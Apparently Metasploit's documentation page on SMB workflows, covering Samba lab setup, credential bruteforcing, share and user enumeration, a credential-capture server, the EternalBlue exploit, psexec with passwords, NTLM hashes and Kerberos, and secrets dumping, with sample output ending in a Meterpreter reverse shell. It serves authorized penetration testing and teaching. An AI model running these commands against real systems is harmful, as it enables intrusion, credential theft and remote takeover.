Link Search Menu Expand Document

SMB Workflows

SMB (Server Message Blocks), is a way for sharing files across nodes on a network.

There are two main ports for SMB:

  • 139/TCP - Initially Microsoft implemented SMB on top of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
  • 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.

Other terminology to be aware of:

  • SMB - Server Message Blocks
  • CIFS - Common Internet File System
  • Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems

Metasploit has support for multiple SMB modules, including:

  • Version enumeration
  • Verifying/bruteforcing credentials
  • Capture modules
  • Relay modules
  • File transfer
  • Exploit modules

There are more modules than listed here, for the full list of modules run the search command within msfconsole:

msf6 > search smb

Or to search for modules that work with a specific session type:

msf6 > search session_type:smb

Lab Environment

When testing in a lab environment - SMB can be used on a Window’s host machine, or within Docker.

For instance running Samba on Ubuntu 16.04:

docker run -it --rm --publish --publish ubuntu:16.04 /bin/bash
mkdir -p /tmp/foo
apt update
apt install -y samba

Verifying version is as expected:

$ samba --version
Version 4.3.11-Ubuntu

Configuring the share:

cat << EOF >> /etc/samba/smb.conf
    comment = Foo samba share
    path = /tmp/foo
    read only = no
    browsable = yes

Restart the service:

service smbd restart

SMB Login and Interactive Sessions

When using the smb_login module, the CreateSession option can be used to obtain an interactive session within the smb instance. Running with the following options:

msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS= RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username

Should give you output similar to

[*]    - - Starting SMB login bruteforce
[+]    - - Success: 'windomain.local\username:password' Administrator
[*] SMB session 1 opened ( -> at 2024-03-12 17:03:09 +0000
[*]    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...

Which you can interact with using sessions -i <session id> or sessions -i -1 to interact with the most recently opened session.

msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...

SMB ( > shares

    #  Name    Type          comment
    -  ----    ----          -------
    0  ADMIN$  DISK|SPECIAL  Remote Admin
    1  C$      DISK|SPECIAL  Default share
    2  foo     DISK
    3  IPC$    IPC|SPECIAL   Remote IPC

SMB ( > shares -i foo
[+] Successfully connected to foo
SMB (\foo) > ls

When interacting with a session, the help command can be useful:

SMB (\foo) > help

Core Commands

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bg            Alias for background
    exit          Terminate the SMB session
    help          Help menu
    irb           Open an interactive Ruby shell on the current session
    pry           Open the Pry debugger on the current session
    sessions      Quickly switch to another session

Shares Commands

    Command       Description
    -------       -----------
    cat           Read the file at the given path
    cd            Change the current remote working directory
    delete        Delete a file
    dir           List all files in the current directory (alias for ls)
    download      Download a file
    ls            List all files in the current directory
    mkdir         Make a new directory
    pwd           Print the current remote working directory
    rmdir         Delete a directory
    shares        View the available shares and interact with one
    upload        Upload a file

Local File System Commands

    Command       Description
    -------       -----------
    getlwd        Print local working directory (alias for lpwd)
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    ldir          List local files (alias for lls)
    lls           List local files
    lmkdir        Create new directory on local machine
    lpwd          Print local working directory

This session also works with the following modules:


SMB Enumeration

Enumerate SMB version:

use auxiliary/scanner/smb/smb_version
run smb://

Enumerate shares:

use auxiliary/scanner/smb/smb_enumshares
run smb://
run smb://user:pass@
run 'smb://domain;user with spaces:pass@' SMB::AlwaysEncrypt=false SMB::ProtocolVersion=1

Enumerate shares and show all files recursively:

use auxiliary/scanner/smb/smb_enumshares
run 'smb://user:pass with a space@' showfiles=true spidershares=true

Enumerate users:

use auxiliary/scanner/smb/smb_enumusers
run smb://user:p4$$w0rd@

Enumerate gpp files in a SMB share:

use auxiliary/scanner/smb/smb_enum_gpp
run smb:// verbose=true store=true
run smb://user:p4$$w0rd@ verbose=true store=true

SMB Server

Create a mock SMB server which accepts credentials before returning NT_STATUS_LOGON_FAILURE. These hashes can then be cracked later:

use auxiliary/server/capture/smb

SMB MS17-010

Metasploit has a module for MS17-010, dubbed Eternal Blue, which has the capability to target Windows 7, Windows 8.1, Windows 2012 R2, and Windows 10.

Checking for exploitability:

use auxiliary/scanner/smb/smb_ms17_010
check smb://user:pass@
check smb://domain;user:pass@
check cidr:/24:smb://user:pass@ threads=32

As of 2021, Metasploit supports a single exploit module for which has the capability to target Windows 7, Windows 8.1, Windows 2012 R2, and Windows 10, full details within the Metasploit Wrapup:

use exploit/windows/smb/ms17_010_eternalblue
run lhost=
run lhost= lport=5000
run smb://user:pass@ lhost=
run smb://domain;user:pass@ lhost=

SMB psexec

Running psexec against a remote host with credentials:

use exploit/windows/smb/psexec
run smb://user:pass8@ lhost= lport=5000

Running psexec with NTLM hashes:

use exploit/windows/smb/psexec
run smb://Administrator:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6@ lhost= lport=5000

SMB Dumping

Dumping secrets with credentials:

use auxiliary/gather/windows_secrets_dump
run smb://user:pass@

Dumping secrets with NTLM hashes

use auxiliary/gather/windows_secrets_dump
run smb://Administrator:aad3b435b51404eeaad3b435b51404ee:15feae27e637cb98ffacdf0a840eeb4b@

SMB Files

Download a file:

use auxiliary/admin/smb/download_file
run smb://a:p4$$w0rd@

Upload a file:

use auxiliary/admin/smb/upload_file
echo "my file" > local_file.txt
run smb://a:p4$$w0rd@ lpath=./local_file.txt

Kerberos Authentication

Details on the Kerberos specific option names are documented in Kerberos Service Authentication

Running psexec against a host:

msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > run rhost= username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost= smb::rhostname=dc3.demo.local domain=demo.local

[*] Started reverse TCP handler on
[*] - Connecting to the server...
[*] - Authenticating to|demo.local as user 'Administrator'...
[+] - - Received a valid TGT-Response
[*] - - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120911_default_192.168.123.13_mit.kerberos.cca_474531.bin
[+] - - Received a valid TGS-Response
[*] - - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120911_default_192.168.123.13_mit.kerberos.cca_169149.bin
[+] - - Received a valid delegation TGS-Response
[*] - Selecting PowerShell target
[*] - Executing the payload...
[+] - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to
[*] Meterpreter session 6 opened ( -> at 2023-01-18 12:09:13 +0000

meterpreter >